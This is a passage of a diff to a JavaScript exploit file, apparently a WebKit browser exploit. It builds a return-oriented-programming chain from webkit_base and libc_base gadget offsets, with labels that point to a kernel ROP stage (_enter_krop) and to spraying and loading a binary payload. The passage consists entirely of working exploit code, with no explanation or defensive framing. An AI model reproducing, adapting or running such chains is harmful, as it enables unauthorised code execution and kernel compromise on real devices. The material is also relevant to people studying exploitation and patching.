+ropchain+375512, //L7238 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7467: +//L7238: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7468: +//L7240: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+379040, //L7471 +ropchain+375696, //L7243 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+379056, //L7472 +ropchain+375712, //L7244 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+379008, //L7469 +ropchain+375680, //L7241 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+379024, //L7470 +ropchain+375664, //L7242 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7469: +//L7242: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7470: +//L7241: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7471: +//L7243: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7472: +//L7244: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+379152, //L7474 +ropchain+375808, //L7246 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+379136, //L7473 +ropchain+375792, //L7245 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7473: +//L7245: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7474: +//L7246: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53337,8 +52570,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7476: -ropchain+379256, //L7475 +//L7248: +ropchain+375912, //L7247 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53346,8 +52579,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+391336, //L7477 -//L7475: +ropchain+394904, //L7249 +//L7247: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -53361,8 +52594,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7479: -ropchain+398312, //L7478 +//L7251: +ropchain+398112, //L7250 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53370,8 +52603,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7481: -ropchain+379432, //L7480 +//L7253: +ropchain+376088, //L7252 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53379,8 +52612,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L7480: +ropchain+159840, //_printf_ +//L7252: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -53388,49 +52621,51 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+379560, //L7484 +ropchain+376216, //L7256 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+379528, //L7482 +ropchain+376184, //L7254 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7482: +//L7254: db([0, 0]); // 0x0 set_gadgets([ libc_base+206806, //pop rdi -//L7483: -ropchain+399864, //_enter_krop +//L7255: +ropchain+399760, //_enter_krop libc_base+788575 //pop rax ]); -//L7484: +//L7256: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+379720, //L7489 +ropchain+376344, //L7259 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+379688, //L7487 +ropchain+376328, //L7258 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+379704, //L7488 +ropchain+376376, //L7261 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L7486: -ropchain+379848, //L7485 libc_base+792472 //pop rcx ]); -//L7487: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L7488: +//L7258: db([0, 0]); // 0x0 set_gadget(webkit_base+11924577,); //pop r10 -//L7489: +//L7259: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+788575, //pop rax +//L7260: +ropchain+376504, //L7257 +libc_base+206806 //pop rdi +]); +//L7261: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53438,80 +52673,91 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+379824, //L7491 +ropchain+376480, //L7263 webkit_base+7438103, //mov [rsi], rax webkit_base+2810902, //mov rax, r10 libc_base+793877, //pop rsi -ropchain+379840, //L7490 +ropchain+376496, //L7262 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L7491: +//L7263: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L7490: +//L7262: db([0, 0]); // 0x0 -//L7485: +//L7257: set_gadgets([ libc_base+882884, //mov rax, rcx libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L7264: +(window.ldr_bin_len||0), libc_base+793877 //pop rsi ]); -//L7492: -db([4294965072, 4294967295]); // -0x8b0 +//L7265: +db([4294965080, 4294967295]); // -0x8a8 set_gadgets([ +libc_base+547636, //add rax, rsi +webkit_base+954100, //mov [rax], ecx +libc_base+759626, //mov rax, r8 libc_base+792472, //pop rcx -//L7494: -ropchain+399872, //_spray_bin +//L7267: +ropchain+399768, //_spray_bin +libc_base+793877 //pop rsi +]); +//L7268: +db([4294965072, 4294967295]); // -0x8b0 +set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L7270: +ropchain+399888, //_spray_end libc_base+793877 //pop rsi ]); -//L7495: +//L7271: db([4294965064, 4294967295]); // -0x8b8 set_gadgets([ -libc_base+792472, //pop rcx -//L7497: -ropchain+399992, //_spray_end libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+380040, //L7499 +ropchain+376768, //L7273 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+380072, //L7500 +ropchain+376752, //L7274 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7499: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L7498: +//L7274: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7500: +//L7273: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7275: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7501: +//L7276: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+380184, //L7503 +ropchain+376896, //L7278 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+380168, //L7502 +ropchain+376880, //L7277 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7502: +//L7277: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7503: +//L7278: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53520,7 +52766,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L7504: +//L7279: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53529,10 +52775,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7505: +//L7280: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L7506: +//L7281: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -53550,7 +52796,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L7507: +//L7282: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53560,17 +52806,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7508: +//L7283: db([4096, 0]); // 0x1000 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+380496, //L7511 +ropchain+377208, //L7285 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7511: +//L7285: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -53585,7 +52831,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L7512: +//L7287: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53595,17 +52841,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7513: +//L7288: db([2, 0]); // 0x2 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+380688, //L7516 +ropchain+377400, //L7290 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7516: +//L7290: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -53621,17 +52867,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7517: +//L7292: db([4, 0]); // 0x4 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+380832, //L7520 +ropchain+377544, //L7294 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7520: +//L7294: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -53645,55 +52891,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+380960, //L7523 +ropchain+377656, //L7296 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7521: -db([4294965064, 4294967295]); // -0x8b8 -set_gadget(libc_base+792472,); //pop rcx -//L7523: +//L7296: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7297: +db([4294965064, 4294967295]); // -0x8b8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+381064, //L7526 +ropchain+377776, //L7301 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+381048, //L7525 +ropchain+377760, //L7299 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7525: +//L7299: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7526: +//L7301: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+381208, //L7529 +ropchain+377920, //L7304 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+381176, //L7527 +ropchain+377888, //L7302 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+381192, //L7528 +ropchain+377904, //L7303 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7527: +//L7302: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7528: +//L7303: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7529: +//L7304: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53701,54 +52947,54 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+381304, //L7532 +ropchain+378000, //L7305 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7530: -db([4294965072, 4294967295]); // -0x8b0 -set_gadget(libc_base+792472,); //pop rcx -//L7532: +//L7305: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7306: +db([4294965072, 4294967295]); // -0x8b0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+381408, //L7535 +ropchain+378120, //L7310 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+381392, //L7534 +ropchain+378104, //L7308 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7534: +//L7308: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7535: +//L7310: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+381512, //L7536 +ropchain+378224, //L7311 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+381544, //L7538 +ropchain+378256, //L7313 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+381528, //L7537 +ropchain+378240, //L7312 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7536: +//L7311: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7537: +//L7312: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7538: +//L7313: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -53766,7 +53012,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L7539: +//L7314: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53774,8 +53020,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7541: -ropchain+381736, //L7540 +//L7316: +ropchain+378448, //L7315 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53783,8 +53029,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+395320, //L7542 -//L7540: +ropchain+393576, //L7317 +//L7315: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -53792,63 +53038,63 @@ db([4294967248, 4294967295]); // -0x30 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+381824, //L7545 +ropchain+378520, //L7318 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7543: -db([4294965056, 4294967295]); // -0x8c0 -set_gadget(libc_base+792472,); //pop rcx -//L7545: +//L7318: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7319: +db([4294965056, 4294967295]); // -0x8c0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L7546: +//L7321: db([4294965056, 4294967295]); // -0x8c0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+381968, //L7550 +ropchain+378680, //L7325 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+381952, //L7549 +ropchain+378664, //L7323 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7549: +//L7323: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7550: +//L7325: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+382112, //L7553 +ropchain+378824, //L7328 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+382080, //L7551 +ropchain+378792, //L7326 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+382096, //L7552 +ropchain+378808, //L7327 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7551: +//L7326: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7552: +//L7327: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7553: +//L7328: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53856,8 +53102,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7555: -ropchain+398336, //L7554 +//L7330: +ropchain+398136, //L7329 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53865,8 +53111,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7557: -ropchain+382264, //L7556 +//L7332: +ropchain+378976, //L7331 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53874,8 +53120,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L7556: +ropchain+159840, //_printf_ +//L7331: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -53884,108 +53130,108 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+382368, //L7559 +ropchain+379096, //L7333 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+382400, //L7560 +ropchain+379080, //L7334 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7559: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L7558: +//L7334: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7560: +//L7333: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7335: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7561: +//L7336: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+382520, //L7564 +ropchain+379216, //L7337 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+382536, //L7565 +ropchain+379248, //L7340 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7562: -db([4294965048, 4294967295]); // -0x8c8 -set_gadget(libc_base+792472,); //pop rcx -//L7564: +//L7337: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7338: +db([4294965048, 4294967295]); // -0x8c8 set_gadget(libc_base+206806,); //pop rdi -//L7565: +//L7340: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+382600, //L7568 +ropchain+379312, //L7342 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7568: +//L7342: db([0, 0]); // 0x0 -//L7566: +//L7341: set_gadgets([ libc_base+793877, //pop rsi -ropchain+382664, //L7571 +ropchain+379360, //L7344 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7569: -db([4294965048, 4294967295]); // -0x8c8 -set_gadget(libc_base+792472,); //pop rcx -//L7571: +//L7344: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7345: +db([4294965048, 4294967295]); // -0x8c8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+382768, //L7574 +ropchain+379480, //L7349 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+382752, //L7573 +ropchain+379464, //L7347 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7573: +//L7347: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7574: +//L7349: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+382912, //L7577 +ropchain+379624, //L7352 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+382880, //L7575 +ropchain+379592, //L7350 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+382896, //L7576 +ropchain+379608, //L7351 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7575: +//L7350: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7576: +//L7351: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7577: +//L7352: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53993,55 +53239,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+383008, //L7580 +ropchain+379704, //L7353 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7578: -db([4294965064, 4294967295]); // -0x8b8 -set_gadget(libc_base+792472,); //pop rcx -//L7580: +//L7353: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7354: +db([4294965064, 4294967295]); // -0x8b8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+383112, //L7583 +ropchain+379824, //L7358 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+383096, //L7582 +ropchain+379808, //L7356 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7582: +//L7356: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7583: +//L7358: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+383256, //L7586 +ropchain+379968, //L7361 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+383224, //L7584 +ropchain+379936, //L7359 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+383240, //L7585 +ropchain+379952, //L7360 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7584: +//L7359: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7585: +//L7360: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7586: +//L7361: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -54049,54 +53295,54 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+383352, //L7589 +ropchain+380048, //L7362 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7587: -db([4294965072, 4294967295]); // -0x8b0 -set_gadget(libc_base+792472,); //pop rcx -//L7589: +//L7362: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7363: +db([4294965072, 4294967295]); // -0x8b0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+383456, //L7592 +ropchain+380168, //L7367 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+383440, //L7591 +ropchain+380152, //L7365 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7591: +//L7365: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7592: +//L7367: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+383560, //L7593 +ropchain+380272, //L7368 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+383592, //L7595 +ropchain+380304, //L7370 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+383576, //L7594 +ropchain+380288, //L7369 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7593: +//L7368: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7594: +//L7369: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7595: +//L7370: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -54107,17 +53353,17 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+383696, //L7596 +ropchain+380408, //L7371 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+383712, //L7597 +ropchain+380424, //L7372 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7596: +//L7371: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7597: +//L7372: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -54130,147 +53376,147 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+383880, //L7599 +ropchain+380592, //L7374 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+383896, //L7600 +ropchain+380608, //L7375 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+383864, //L7598 +ropchain+380576, //L7373 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7598: +//L7373: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7599: +//L7374: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7600: +//L7375: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+384000, //L7603 +ropchain+380712, //L7378 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+384048, //L7605 +ropchain+380760, //L7380 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+384032, //L7604 +ropchain+380744, //L7379 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7603: +//L7378: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L7602: +//L7377: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7604: +//L7379: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7605: +//L7380: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+384160, //L7606+8 +ropchain+380872, //L7381+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, 